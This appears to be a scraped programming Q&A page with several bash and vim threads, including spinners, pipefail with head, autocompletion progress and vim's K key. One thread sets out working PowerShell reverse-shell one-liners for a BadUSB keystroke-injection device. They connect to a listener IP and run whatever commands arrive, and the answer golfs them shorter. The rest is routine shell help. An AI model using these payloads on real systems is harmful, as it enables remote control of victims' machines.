subshell in var assignment prevents proper document highlighting - bash

I am yad'fying an alarm script I use from the terminal multiple times a day for quick reminders. Anyway, this var assignment:
killOrSnz=$((sleep .1 ; wmctrl -r yadAC -e 0,6,30,0,0) | yad --title yadAC --image="$imgClk" --text "Alarm:\n${am}" --form --field="Hit Enter key to stop the alarm\nor enter a number of minutes\nthe alarm should snooze." --button="gtk-cancel:1" --button="gtk-ok:0"|sed -r 's/^([0-9]{1,})\|[ ]*$/\1/')
is causing me grief. The var works fine, as intended, except that all of the code below it is no longer highlighted in my vim session, making my eyes hurt just to look at it never mind scan for problems or to make alterations.
I borrowed the idea of piping yad command thru wmctrl to gain better control over window geometry, which is great from another post on here, but there was of course no mention of the potential side-affects. I want to keep fine control over the window placement of apps, but it would just be nice to do so while maintaining document highlighting.
I did try to rearrange the pipe and subshell to see if I could get it to work another way that didn't interfere with my vim highlighting, but there was no love to be had any which way but this way.

It appears that VIM's parser is fooled by the $((, mistaking it for the start of an arithmetic expression rather than a command substitution whose first character is a parentheses. Since there is no matching )), the colorizer gets confused about what is what. Try adding an explicit space between the two open parens:
killOrSnz=$( (sleep .1; ... )

Related

Shell script with spinner for background process emitting extra output ("done", etc)

I'm making a bunch of aliases and functions to simplify the work my team does. Just for kicks, I want to make things look really cool when functions are running by adding in a loading animation. I've taken bits and pieces from examples I've seen around, and currently have this answer working. Calling it like:
function myFunction() {
<function code>
(
<the code I run>
) &>/dev/null &
spinner $!
}
As I said, this runs. I see the animation, which is super cool! Props to the author of this one. The issue I have is I'm getting extra output. It looks similar to:
during animation
<spinner>47096 �
after animation
[2] + 45994 done ( <the code that runs> )
What can I do to hide this? I'm not sure where it's coming from.
I think I may have figured it out. I don't know the syntax well enough to know why this works, but wrapping the code to be run in parenthesis, and wrapping that code AND with the spinner in parenthesis seems to have done the trick. For example:
(
(
npm install &> /dev/null
) &
spinner $!
)

How to use "head" in a script with "pipefail" enabled?

Imagine a call like this:
./generator.sh | head -1
This script is embedded in a larger context and it might happen that parts of it fail due to wrong configuration, etc. In such a case we do not want to continue with the script, so we set the pipefail option. But now we obviosuly face the problem that when head closes the receiving end, generator will fail. How can we mitigate the problem?
Is there a way to tell head to keep going, but to discard the input (this would be ideal, as we do not even want the early-exit semantics here).
I know that we can just disable/reenable pipefail for that piece, but I wonder if there is a shorter option.
? Is there a way to tell head to keep going, but to discard the input (this would be ideal, as we do not even want the early-exit semantics here).
There is sed: delete all except first line:
sed '1!d'
I think you could also do this, which captures the full output of generator.sh, before calling head
IT=$(./generator.sh)
echo "$IT" | head -1

TCP reverse shell on Windows

I am trying to implement a proof of concept BadUSB DigiSpark that can emulate a HID keyboard and open a reverse shell just using Windows default package (i.e. PowerShell and/or CMD).
What I have found so far:
#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();
[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Taken from Week of PowerShell Shells - Day 1.
Despite working, the aforementioned code takes too long to be typed.
Is it possible to create a reverse shell with fewer lines of code?
284 characters. Yes you can have fewer "lines of code" just by putting them all on one line, and you can't have fewer than one line, so hooray, best case already achieved.
:-| face for not even using the same tricks consistently within the same code. And for not giving any way to test it.
remove all the semicolons.
remove the space around -ne 0
remove -ne 0 because numbers cast to true and 0 casts to false
single character variable names
drop port 55555 to 5555
Change byte array from
[byte[]]$bt=0..255|%{0}
$b=[byte[]]'0'*256 # does it even need to be initialized to 0? Try without
Nest that into the reading call because who cares if it gets reinitialized every read.
[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;
#becomes
while(($i=$t.Read(($b=[byte[]]'0'*256),0,$b.Length))){
You can call [text.encoding]::ASCII.GetString($b) directly, but why ASCII? If it works if you can drop the encoding, then do
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
#becomes
$d=-join[char[]]$b
but you're only using that to call iex so put it there and don't use a variable for it. And do similar to make the byte array without calling ASCII as well...
... and: 197 chars, 30% smaller:
$t=(new-object Net.Sockets.TCPClient("192.168.254.1",5555)).GetStream()
while(($i=$t.Read(($b=[byte[]]'0'*256),0,$b.Length))){
$t.Write(($s=[byte[]][char[]](iex(-join[char[]]$b)2>&1)),0,$s.Length)}
Assuming it works, with no way to test it, it probably won't.
Edit: I guess if you can change the other side completely, then you could make it so the client would use JSON to communicate back and forth, and do a tight loop of
$u='192.168.254.1:55555';while(1){irm $u -m post -b(iex(irm $u).c)}
and your server would have to have the command ready in JSON like {'c':'gci'} and also accept a POST of the reply...
untested. 67 chars.

Bash: show a progress indicator during long autocompletion

I have a bash autocompletion function which consults a database to provide possible completions for the current command line in bash. It takes about 3 seconds to complete and during this time the user doesn't have any indication that he has triggered the autocompletion -- prompting him to press TAB a few more times, leading to the autocompletion possibly being run several more times.
Is it possible to manipulate the command line in a way to show that there is something being done, as soon as autocompletion is initiated? For example, when I press TAB twice after the command foo, I would like the following to happen immediately:
$ foo
autocompleting...
and then after the possible completions are determined, to change to:
$ foo
bar baz jazz
Alternatively, if I type foo j and press TAB once, the following:
$ foo j
autocompleting...
should change to
$ foo jazz
without any extra text beneath it, as expected.
The next step would be to consider if it's possible to have a dynamic output while the autocompletion is running, for example, printing the characters \ | / - in a single place, as if a line is rotating in place -- to visually indicate that something is happening. Would this be possible?
Sure, it's possible, I think you'll find everything you need in this answer (so this might be considered a duplicate question):
Using BASH to display a progress (working) indicator
Your question is slightly different in that you'll want to remove the spinner and then output your results. So you might consider inverting the process that is backgrounded. In other words, background your spinner, and then it can be explicitly killed when your autocomplete function is finished (but prior to outputting results if that's possible for your code).

I get this window while editing Ruby Files in Vim. What is it?

I usually get this new window open up suddenly while I am editing a Ruby file in VIM. This is getting irritating because, i cant type in anything while its processing. And it usually happens arbitarily. Does any one here know which plugin could be doing this? Or is this somekind of VIM's process?
This is happening when you hit K in normal mode.
K Run a program to lookup the keyword under the
cursor. The name of the program is given with the
'keywordprg' (kp) option (default is "man"). The
keyword is formed of letters, numbers and the
characters in 'iskeyword'. The keyword under or
right of the cursor is used. The same can be done
with the command >
:!{program} {keyword}
There is an example of a program to use in the tools
directory of Vim. It is called 'ref' and does a
simple spelling check.
Special cases:
- If 'keywordprg' is empty, the ":help" command is
used. It's a good idea to include more characters
in 'iskeyword' then, to be able to find more help.
- When 'keywordprg' is equal to "man", a count before
"K" is inserted after the "man" command and before
the keyword. For example, using "2K" while the
cursor is on "mkdir", results in: >
!man 2 mkdir
- When 'keywordprg' is equal to "man -s", a count
before "K" is inserted after the "-s". If there is
no count, the "-s" is removed.
{not in Vi}
If you notice, it's running ri in the open window, which is the ruby documentation app.
In Unixy environments, the help program normally runs inline, just displacing the vim output for a minute.
Is this using gvim, or command-line vim?
In either case, you can try monkeying with 'keywordprg' to fix the popup
Or, if you can't train yourself not to type it, you can just use :nnoremap K k to change what K does (in this case, just treat it as normal k command and go up one line).
I have this same issue on my work desktop, but not my home machine. The setups are near identical.
While stalking down a possible cause, I noticed that when I leave my cursor over a Ruby symbol such as File, Vim would popup a short description of the File class. After comparing all the various vim scripts and ri-related files that I could find, I finally settled on the only solution that worked...
Open $HOME/_vimrc and add the following line:
autocmd FileType ruby,eruby set noballooneval
Previously, I commented out a block in $VIMRUNTIME/ftplugin/ruby.vim, but Brian Carper suggested a better solution of :set noballooneval. I added the autocmd line so it is only executed with Ruby files.
If anyone figures out a true solution, please contact me. :(

Resources